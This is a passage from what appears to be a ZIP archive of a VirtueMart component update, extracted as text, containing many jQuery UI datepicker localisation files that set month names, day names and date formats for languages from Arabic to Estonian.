['Ιαν','Φεβ','Μαρ','Απρ','Μαι','Ιουν', 'Ιουλ','Αυγ','Σεπ','Οκτ','Νοε','Δεκ'], dayNames: ['Κυριακή','Δευτέρα','Τρίτη','Τετάρτη','Πέμπτη','Παρασκευή','Σάββατο'], dayNamesShort: ['Κυρ','Δευ','Τρι','Τετ','Πεμ','Παρ','Σαβ'], dayNamesMin: ['Κυ','Δε','Τρ','Τε','Πε','Πα','Σα'], weekHeader: 'Εβδ', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['el']); });PKtl>\{2\\Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ar.jsnuW+A/* Arabic Translation for jQuery UI date picker plugin. */ /* Khaled Alhourani -- me@khaledalhourani.com */ /* NOTE: monthNames are the original months names and they are the Arabic names, not the new months name فبراير - يناير and there isn't any Arabic roots for these months */ jQuery(function($){ $.datepicker.regional['ar'] = { closeText: 'إغلاق', prevText: '<السابق', nextText: 'التالي>', currentText: 'اليوم', monthNames: ['كانون الثاني', 'شباط', 'آذار', 'نيسان', 'مايو', 'حزيران', 'تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول'], monthNamesShort: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'], dayNames: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesShort: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesMin: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], weekHeader: 'أسبوع', dateFormat: 'dd/mm/yy', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ar']); });PKtl>\6]]Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-kz.jsnuW+A/* Kazakh (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Dmitriy Karasyov (dmitriy.karasyov@gmail.com). */ jQuery(function($){ $.datepicker.regional['kz'] = { closeText: 'Жабу', prevText: '<Алдыңғы', nextText: 'Келесі>', currentText: 'Бүгін', monthNames: ['Қаңтар','Ақпан','Наурыз','Сәуір','Мамыр','Маусым', 'Шілде','Тамыз','Қыркүйек','Қазан','Қараша','Желтоқсан'], monthNamesShort: ['Қаң','Ақп','Нау','Сәу','Мам','Мау', 'Шіл','Там','Қыр','Қаз','Қар','Жел'], dayNames: ['Жексенбі','Дүйсенбі','Сейсенбі','Сәрсенбі','Бейсенбі','Жұма','Сенбі'], dayNamesShort: ['жкс','дсн','ссн','срс','бсн','жма','снб'], dayNamesMin: ['Жк','Дс','Сс','Ср','Бс','Жм','Сн'], weekHeader: 'Не', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['kz']); }); PKtl>\VQYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-fr.jsnuW+A/* French initialisation for the jQuery UI date picker plugin. */ /* Written by Keith Wood (kbwood{at}iinet.com.au), Stéphane Nahmani (sholby@sholby.net), Stéphane Raimbault */ jQuery(function($){ $.datepicker.regional['fr'] = { closeText: 'Fermer', prevText: 'Précédent', nextText: 'Suivant', currentText: 'Aujourd\'hui', monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin', 'Juillet','Août','Septembre','Octobre','Novembre','Décembre'], monthNamesShort: ['Janv.','Févr.','Mars','Avril','Mai','Juin', 'Juil.','Août','Sept.','Oct.','Nov.','Déc.'], dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'], dayNamesShort: ['Dim.','Lun.','Mar.','Mer.','Jeu.','Ven.','Sam.'], dayNamesMin: ['D','L','M','M','J','V','S'], weekHeader: 'Sem.', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fr']); }); PKtl>\Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-it.jsnuW+A/* Italian initialisation for the jQuery UI date picker plugin. */ /* Written by Antonello Pasella (antonello.pasella@gmail.com). */ jQuery(function($){ $.datepicker.regional['it'] = { closeText: 'Chiudi', prevText: '<Prec', nextText: 'Succ>', currentText: 'Oggi', monthNames: ['Gennaio','Febbraio','Marzo','Aprile','Maggio','Giugno', 'Luglio','Agosto','Settembre','Ottobre','Novembre','Dicembre'], monthNamesShort: ['Gen','Feb','Mar','Apr','Mag','Giu', 'Lug','Ago','Set','Ott','Nov','Dic'], dayNames: ['Domenica','Lunedì','Martedì','Mercoledì','Giovedì','Venerdì','Sabato'], dayNamesShort: ['Dom','Lun','Mar','Mer','Gio','Ven','Sab'], dayNamesMin: ['Do','Lu','Ma','Me','Gi','Ve','Sa'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['it']); }); PKtl>\h\\Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ru.jsnuW+A/* Russian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Andrew Stromnov (stromnov@gmail.com). */ jQuery(function($){ $.datepicker.regional['ru'] = { closeText: 'Закрыть', prevText: '<Пред', nextText: 'След>', currentText: 'Сегодня', monthNames: ['Январь','Февраль','Март','Апрель','Май','Июнь', 'Июль','Август','Сентябрь','Октябрь','Ноябрь','Декабрь'], monthNamesShort: ['Янв','Фев','Мар','Апр','Май','Июн', 'Июл','Авг','Сен','Окт','Ноя','Дек'], dayNames: ['воскресенье','понедельник','вторник','среда','четверг','пятница','суббота'], dayNamesShort: ['вск','пнд','втр','срд','чтв','птн','сбт'], dayNamesMin: ['Вс','Пн','Вт','Ср','Чт','Пт','Сб'], weekHeader: 'Нед', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ru']); });PKtl>\8=ޕYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-pl.jsnuW+A/* Polish initialisation for the jQuery UI date picker plugin. */ /* Written by Jacek Wysocki (jacek.wysocki@gmail.com). */ jQuery(function($){ $.datepicker.regional['pl'] = { closeText: 'Zamknij', prevText: '<Poprzedni', nextText: 'Następny>', currentText: 'Dziś', monthNames: ['Styczeń','Luty','Marzec','Kwiecień','Maj','Czerwiec', 'Lipiec','Sierpień','Wrzesień','Październik','Listopad','Grudzień'], monthNamesShort: ['Sty','Lu','Mar','Kw','Maj','Cze', 'Lip','Sie','Wrz','Pa','Lis','Gru'], dayNames: ['Niedziela','Poniedziałek','Wtorek','Środa','Czwartek','Piątek','Sobota'], dayNamesShort: ['Nie','Pn','Wt','Śr','Czw','Pt','So'], dayNamesMin: ['N','Pn','Wt','Śr','Cz','Pt','So'], weekHeader: 'Tydz', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pl']); }); PKtl>\crrYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-tr.jsnuW+A/* Turkish initialisation for the jQuery UI date picker plugin. */ /* Written by Izzet Emre Erkan (kara@karalamalar.net). */ jQuery(function($){ $.datepicker.regional['tr'] = { closeText: 'kapat', prevText: '<geri', nextText: 'ileri>', currentText: 'bugün', monthNames: ['Ocak','Şubat','Mart','Nisan','Mayıs','Haziran', 'Temmuz','Ağustos','Eylül','Ekim','Kasım','Aralık'], monthNamesShort: ['Oca','Şub','Mar','Nis','May','Haz', 'Tem','Ağu','Eyl','Eki','Kas','Ara'], dayNames: ['Pazar','Pazartesi','Salı','Çarşamba','Perşembe','Cuma','Cumartesi'], dayNamesShort: ['Pz','Pt','Sa','Ça','Pe','Cu','Ct'], dayNamesMin: ['Pz','Pt','Sa','Ça','Pe','Cu','Ct'], weekHeader: 'Hf', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['tr']); });PKtl>\{n\com_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-zh-HK.jsnuW+A/* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by SCCY (samuelcychan@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-HK'] = { closeText: '關閉', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'dd-mm-yy', firstDay: 0, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-HK']); }); PKtl>\1vYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-he.jsnuW+A/* Hebrew initialisation for the UI Datepicker extension. */ /* Written by Amir Hardon (ahardon at gmail dot com). */ jQuery(function($){ $.datepicker.regional['he'] = { closeText: 'סגור', prevText: '<הקודם', nextText: 'הבא>', currentText: 'היום', monthNames: ['ינואר','פברואר','מרץ','אפריל','מאי','יוני', 'יולי','אוגוסט','ספטמבר','אוקטובר','נובמבר','דצמבר'], monthNamesShort: ['1','2','3','4','5','6', '7','8','9','10','11','12'], dayNames: ['ראשון','שני','שלישי','רביעי','חמישי','שישי','שבת'], dayNamesShort: ['א\'','ב\'','ג\'','ד\'','ה\'','ו\'','שבת'], dayNamesMin: ['א\'','ב\'','ג\'','ד\'','ה\'','ו\'','שבת'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['he']); }); PKtl>\R  Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sr.jsnuW+A/* Serbian i18n for the jQuery UI date picker plugin. */ /* Written by Dejan Dimić. */ jQuery(function($){ $.datepicker.regional['sr'] = { closeText: 'Затвори', prevText: '<', nextText: '>', currentText: 'Данас', monthNames: ['Јануар','Фебруар','Март','Април','Мај','Јун', 'Јул','Август','Септембар','Октобар','Новембар','Децембар'], monthNamesShort: ['Јан','Феб','Мар','Апр','Мај','Јун', 'Јул','Авг','Сеп','Окт','Нов','Дец'], dayNames: ['Недеља','Понедељак','Уторак','Среда','Четвртак','Петак','Субота'], dayNamesShort: ['Нед','Пон','Уто','Сре','Чет','Пет','Суб'], dayNamesMin: ['Не','По','Ут','Ср','Че','Пе','Су'], weekHeader: 'Сед', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sr']); }); PKtl>\hYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-az.jsnuW+A/* Azerbaijani (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Jamil Najafov (necefov33@gmail.com). */ jQuery(function($) { $.datepicker.regional['az'] = { closeText: 'Bağla', prevText: '<Geri', nextText: 'İrəli>', currentText: 'Bugün', monthNames: ['Yanvar','Fevral','Mart','Aprel','May','İyun', 'İyul','Avqust','Sentyabr','Oktyabr','Noyabr','Dekabr'], monthNamesShort: ['Yan','Fev','Mar','Apr','May','İyun', 'İyul','Avq','Sen','Okt','Noy','Dek'], dayNames: ['Bazar','Bazar ertəsi','Çərşənbə axşamı','Çərşənbə','Cümə axşamı','Cümə','Şənbə'], dayNamesShort: ['B','Be','Ça','Ç','Ca','C','Ş'], dayNamesMin: ['B','B','Ç','С','Ç','C','Ş'], weekHeader: 'Hf', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['az']); });PKtl>\RYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sl.jsnuW+A/* Slovenian initialisation for the jQuery UI date picker plugin. */ /* Written by Jaka Jancar (jaka@kubje.org). */ /* c = č, s = š z = ž C = Č S = Š Z = Ž */ jQuery(function($){ $.datepicker.regional['sl'] = { closeText: 'Zapri', prevText: '<Prejšnji', nextText: 'Naslednji>', currentText: 'Trenutni', monthNames: ['Januar','Februar','Marec','April','Maj','Junij', 'Julij','Avgust','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Avg','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljek','Torek','Sreda','Četrtek','Petek','Sobota'], dayNamesShort: ['Ned','Pon','Tor','Sre','Čet','Pet','Sob'], dayNamesMin: ['Ne','Po','To','Sr','Če','Pe','So'], weekHeader: 'Teden', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sl']); }); PKtl>\4POOYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-bs.jsnuW+A/* Bosnian i18n for the jQuery UI date picker plugin. */ /* Written by Kenan Konjo. */ jQuery(function($){ $.datepicker.regional['bs'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Januar','Februar','Mart','April','Maj','Juni', 'Juli','August','Septembar','Oktobar','Novembar','Decembar'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljak','Utorak','Srijeda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sri','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Wk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['bs']); });PKtl>\̬Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-es.jsnuW+A/* Inicialización en español para la extensión 'UI date picker' para jQuery. */ /* Traducido por Vester (xvester@gmail.com). */ jQuery(function($){ $.datepicker.regional['es'] = { closeText: 'Cerrar', prevText: '<Ant', nextText: 'Sig>', currentText: 'Hoy', monthNames: ['Enero','Febrero','Marzo','Abril','Mayo','Junio', 'Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre'], monthNamesShort: ['Ene','Feb','Mar','Abr','May','Jun', 'Jul','Ago','Sep','Oct','Nov','Dic'], dayNames: ['Domingo','Lunes','Martes','Miércoles','Jueves','Viernes','Sábado'], dayNamesShort: ['Dom','Lun','Mar','Mié','Juv','Vie','Sáb'], dayNamesMin: ['Do','Lu','Ma','Mi','Ju','Vi','Sá'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['es']); });PKtl>\yjj\com_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-en-GB.jsnuW+A/* English/UK initialisation for the jQuery UI date picker plugin. */ /* Written by Stuart. */ jQuery(function($){ $.datepicker.regional['en-GB'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-GB']); }); PKtl>\?ObbYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-uk.jsnuW+A/* Ukrainian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Maxim Drogobitskiy (maxdao@gmail.com). */ jQuery(function($){ $.datepicker.regional['uk'] = { closeText: 'Закрити', prevText: '<', nextText: '>', currentText: 'Сьогодні', monthNames: ['Січень','Лютий','Березень','Квітень','Травень','Червень', 'Липень','Серпень','Вересень','Жовтень','Листопад','Грудень'], monthNamesShort: ['Січ','Лют','Бер','Кві','Тра','Чер', 'Лип','Сер','Вер','Жов','Лис','Гру'], dayNames: ['неділя','понеділок','вівторок','середа','четвер','п’ятниця','субота'], dayNamesShort: ['нед','пнд','вів','срд','чтв','птн','сбт'], dayNamesMin: ['Нд','Пн','Вт','Ср','Чт','Пт','Сб'], weekHeader: 'Не', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['uk']); });PKtl>\/\com_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-zh-CN.jsnuW+A/* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by Cloudream (cloudream@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-CN'] = { closeText: '关闭', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-CN']); }); PKtl>\+Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-fo.jsnuW+A/* Faroese initialisation for the jQuery UI date picker plugin */ /* Written by Sverri Mohr Olsen, sverrimo@gmail.com */ jQuery(function($){ $.datepicker.regional['fo'] = { closeText: 'Lat aftur', prevText: '<Fyrra', nextText: 'Næsta>', currentText: 'Í dag', monthNames: ['Januar','Februar','Mars','Apríl','Mei','Juni', 'Juli','August','September','Oktober','November','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mei','Jun', 'Jul','Aug','Sep','Okt','Nov','Des'], dayNames: ['Sunnudagur','Mánadagur','Týsdagur','Mikudagur','Hósdagur','Fríggjadagur','Leyardagur'], dayNamesShort: ['Sun','Mán','Týs','Mik','Hós','Frí','Ley'], dayNamesMin: ['Su','Má','Tý','Mi','Hó','Fr','Le'], weekHeader: 'Vk', dateFormat: 'dd-mm-yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fo']); }); PKtl>\\cYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-bg.jsnuW+A/* Bulgarian initialisation for the jQuery UI date picker plugin. */ /* Written by Stoyan Kyosev (http://svest.org). */ jQuery(function($){ $.datepicker.regional['bg'] = { closeText: 'затвори', prevText: '<назад', nextText: 'напред>', nextBigText: '>>', currentText: 'днес', monthNames: ['Януари','Февруари','Март','Април','Май','Юни', 'Юли','Август','Септември','Октомври','Ноември','Декември'], monthNamesShort: ['Яну','Фев','Мар','Апр','Май','Юни', 'Юли','Авг','Сеп','Окт','Нов','Дек'], dayNames: ['Неделя','Понеделник','Вторник','Сряда','Четвъртък','Петък','Събота'], dayNamesShort: ['Нед','Пон','Вто','Сря','Чет','Пет','Съб'], dayNamesMin: ['Не','По','Вт','Ср','Че','Пе','Съ'], weekHeader: 'Wk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['bg']); }); PKtl>\ mYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-hy.jsnuW+A/* Armenian(UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Levon Zakaryan (levon.zakaryan@gmail.com)*/ jQuery(function($){ $.datepicker.regional['hy'] = { closeText: 'Փակել', prevText: '<Նախ.', nextText: 'Հաջ.>', currentText: 'Այսօր', monthNames: ['Հունվար','Փետրվար','Մարտ','Ապրիլ','Մայիս','Հունիս', 'Հուլիս','Օգոստոս','Սեպտեմբեր','Հոկտեմբեր','Նոյեմբեր','Դեկտեմբեր'], monthNamesShort: ['Հունվ','Փետր','Մարտ','Ապր','Մայիս','Հունիս', 'Հուլ','Օգս','Սեպ','Հոկ','Նոյ','Դեկ'], dayNames: ['կիրակի','եկուշաբթի','երեքշաբթի','չորեքշաբթի','հինգշաբթի','ուրբաթ','շաբաթ'], dayNamesShort: ['կիր','երկ','երք','չրք','հնգ','ուրբ','շբթ'], dayNamesMin: ['կիր','երկ','երք','չրք','հնգ','ուրբ','շբթ'], weekHeader: 'ՇԲՏ', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hy']); });PKtl>\ Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ja.jsnuW+A/* Japanese initialisation for the jQuery UI date picker plugin. */ /* Written by Kentaro SATO (kentaro@ranvis.com). */ jQuery(function($){ $.datepicker.regional['ja'] = { closeText: '閉じる', prevText: '<前', nextText: '次>', currentText: '今日', monthNames: ['1月','2月','3月','4月','5月','6月', '7月','8月','9月','10月','11月','12月'], monthNamesShort: ['1月','2月','3月','4月','5月','6月', '7月','8月','9月','10月','11月','12月'], dayNames: ['日曜日','月曜日','火曜日','水曜日','木曜日','金曜日','土曜日'], dayNamesShort: ['日','月','火','水','木','金','土'], dayNamesMin: ['日','月','火','水','木','金','土'], weekHeader: '週', dateFormat: 'yy/mm/dd', firstDay: 0, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['ja']); });PKtl>\`f\com_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-zh-TW.jsnuW+A/* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by Ressol (ressol@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-TW'] = { closeText: '關閉', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'yy/mm/dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-TW']); }); PKtl>\J[ooYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ca.jsnuW+A/* Inicialització en català per a l'extenció 'calendar' per jQuery. */ /* Writers: (joan.leon@gmail.com). */ jQuery(function($){ $.datepicker.regional['ca'] = { closeText: 'Tancar', prevText: '<Ant', nextText: 'Seg>', currentText: 'Avui', monthNames: ['Gener','Febrer','Març','Abril','Maig','Juny', 'Juliol','Agost','Setembre','Octubre','Novembre','Desembre'], monthNamesShort: ['Gen','Feb','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Oct','Nov','Des'], dayNames: ['Diumenge','Dilluns','Dimarts','Dimecres','Dijous','Divendres','Dissabte'], dayNamesShort: ['Dug','Dln','Dmt','Dmc','Djs','Dvn','Dsb'], dayNamesMin: ['Dg','Dl','Dt','Dc','Dj','Dv','Ds'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ca']); });PKtl>\ =Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-da.jsnuW+A/* Danish initialisation for the jQuery UI date picker plugin. */ /* Written by Jan Christensen ( deletestuff@gmail.com). */ jQuery(function($){ $.datepicker.regional['da'] = { closeText: 'Luk', prevText: '<Forrige', nextText: 'Næste>', currentText: 'Idag', monthNames: ['Januar','Februar','Marts','April','Maj','Juni', 'Juli','August','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Søndag','Mandag','Tirsdag','Onsdag','Torsdag','Fredag','Lørdag'], dayNamesShort: ['Søn','Man','Tir','Ons','Tor','Fre','Lør'], dayNamesMin: ['Sø','Ma','Ti','On','To','Fr','Lø'], weekHeader: 'Uge', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['da']); }); PKtl>\yaYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sk.jsnuW+A/* Slovak initialisation for the jQuery UI date picker plugin. */ /* Written by Vojtech Rinik (vojto@hmm.sk). */ jQuery(function($){ $.datepicker.regional['sk'] = { closeText: 'Zavrieť', prevText: '<Predchádzajúci', nextText: 'Nasledujúci>', currentText: 'Dnes', monthNames: ['Január','Február','Marec','Apríl','Máj','Jún', 'Júl','August','September','Október','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Máj','Jún', 'Júl','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Nedeľa','Pondelok','Utorok','Streda','Štvrtok','Piatok','Sobota'], dayNamesShort: ['Ned','Pon','Uto','Str','Štv','Pia','Sob'], dayNamesMin: ['Ne','Po','Ut','St','Št','Pia','So'], weekHeader: 'Ty', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sk']); }); PKtl>\ ,PzzYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ms.jsnuW+A/* Malaysian initialisation for the jQuery UI date picker plugin. */ /* Written by Mohd Nawawi Mohamad Jamili (nawawi@ronggeng.net). */ jQuery(function($){ $.datepicker.regional['ms'] = { closeText: 'Tutup', prevText: '<Sebelum', nextText: 'Selepas>', currentText: 'hari ini', monthNames: ['Januari','Februari','Mac','April','Mei','Jun', 'Julai','Ogos','September','Oktober','November','Disember'], monthNamesShort: ['Jan','Feb','Mac','Apr','Mei','Jun', 'Jul','Ogo','Sep','Okt','Nov','Dis'], dayNames: ['Ahad','Isnin','Selasa','Rabu','Khamis','Jumaat','Sabtu'], dayNamesShort: ['Aha','Isn','Sel','Rab','kha','Jum','Sab'], dayNamesMin: ['Ah','Is','Se','Ra','Kh','Ju','Sa'], weekHeader: 'Mg', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ms']); });PKtl>\oV=Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-et.jsnuW+A/* Estonian initialisation for the jQuery UI date picker plugin. */ /* Written by Mart Sõmermaa (mrts.pydev at gmail com). */ jQuery(function($){ $.datepicker.regional['et'] = { closeText: 'Sulge', prevText: 'Eelnev', nextText: 'Järgnev', currentText: 'Täna', monthNames: ['Jaanuar','Veebruar','Märts','Aprill','Mai','Juuni', 'Juuli','August','September','Oktoober','November','Detsember'], monthNamesShort: ['Jaan', 'Veebr', 'Märts', 'Apr', 'Mai', 'Juuni', 'Juuli', 'Aug', 'Sept', 'Okt', 'Nov', 'Dets'], dayNames: ['Pühapäev', 'Esmaspäev', 'Teisipäev', 'Kolmapäev', 'Neljapäev', 'Reede', 'Laupäev'], dayNamesShort: ['Pühap', 'Esmasp', 'Teisip', 'Kolmap', 'Neljap', 'Reede', 'Laup'], dayNamesMin: ['P','E','T','K','N','R','L'], weekHeader: 'Sm', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['et']); }); PKtl>\PP\com_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sr-SR.jsnuW+A/* Serbian i18n for the jQuery UI date picker plugin. */ /* Written by Dejan Dimić. */ jQuery(function($){ $.datepicker.regional['sr-SR'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Januar','Februar','Mart','April','Maj','Jun', 'Jul','Avgust','Septembar','Oktobar','Novembar','Decembar'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Avg','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljak','Utorak','Sreda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sre','Čet','Pet','Sub'], dayNamesMin: 